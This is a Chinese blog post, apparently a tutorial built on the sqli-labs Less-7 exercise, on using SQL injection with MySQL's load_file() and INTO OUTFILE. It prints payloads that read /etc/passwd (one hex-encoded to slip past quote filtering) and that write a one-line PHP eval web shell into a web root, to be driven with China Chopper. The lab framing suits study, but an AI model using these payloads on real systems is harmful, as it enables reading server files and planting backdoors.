⑧Mysql导入导出相关操作
2016-11-12 20:00
323 查看
mysql导入导出操作
load_file() 函数读文件操作
load_file(file_name)函数的作用是读取磁盘文件,并返回该文件的内容作为一个字符串。
load_file(file_name)函数使用条件:
必须有权限读取并且文件必须完全可读。
and (select count(*) from mysql.user)>0/*如果结果返回正常,说明具有读写权限。
and (select count(*) from mysql.user)>0/*返回错误,应该是管理员给数据库帐户降权。
欲读取文件必须在服务器上。
必须指定文件完整的路径。
欲读取文件必须小于
max_allowed_packet。
如果上述任何一个条件不满足,函数返回空null。
上述四个条件中,最难满足的就是权限这一条件。
SQL语句如下:
union select 1 , load_file('/etc/passwd') , 3 , 4 , 5 , 6 %23
如果程序防注入语句不允许出现单引号,可以使用以下语句绕过:
union select 1 , load_file(0x2F6563742F706173737764) , 3 , 4 , 5 , 6 %23
0x2F6563742F706173737764是/etc/passwd的十六进制转换的结果。
into outfile写文件操作
与load_file()函数一样,
into outfile可以向磁盘写入文件。
select something into outfile 'file_name'
要求如下:
file_name文件被创建到服务器主机上,因此我们必须拥有 FILE权限。
file_name文件不能是一个已经存在的文件,且文件路径必须是一个全路径名称。
写入文件:
select '<?php phpinfo();?>' into outfile 'c:\wwwroot\1.php'
select char(99,58,92,50,46,116,120,116) into outfile 'c:\wwwroot\1.php'
select <?php @eval($_post[“mima”])?> into outfile “c:\\phpnow\\htdocs\\test.php”
Less-7
我们以less-7为例来学习mysql文件导入导出操作。Less-7比较特殊,首先我们查看源码。
$sql="SELECT * FROM users WHERE id=(('$id')) LIMIT 0,1";
所以我们需要对对 id 参数进行了 ‘))的处理。
之前的
ORDER BY NUM和
UNION等操作我们这里就不做介绍了。
我们直接执行into outfile写文件操作。
如图所示,我们成功在磁盘下创建了
xiong.txt文件。
我们写入了一句话木马在文件中,然后直接连接菜刀即可。
相关文章推荐
- 6.(Mysql数据管理相关)连接MYSQL,修改密码,增加新用户,数据库相关命令,表操作相关命令,数据相关命令,数据库sql导入和导出,备份数据库,查看不到mysql数据库的解决办法
- Mysql导出导入相关操作记录
- mysql 导出导入数据库等常用操作
- C# Excel 相关导入导出操作
- 将mongodb 数据指定字段导出,然后指定字段导入mysql 实例 及相关问题解决
- mysql客户端的导出数据库表和数据库数据等相关操作
- Sqoop进行MySQL和Hive间的导入导出操作
- MySQL 导入导出基本操作
- mysql导入导出操作
- mysql导入导出sql基本操作
- java操作mysql导入导出
- mysql基本操作&Mysql导入导出命令
- mysql:导入导出操作
- MYSQL相关导入导出学习(mysqldump)
- mysql导入导出数据相关
- MySQL操作及数据库导入导出
- MySQL 导入导出 以及 相关常见异常解决
- MySQL基本操作命令 导入导出
- 基于Linux的MySQL操作实例之数据导入/导出,新增/查询表记录
- mysql 数据表备份导出,恢复导入操作实践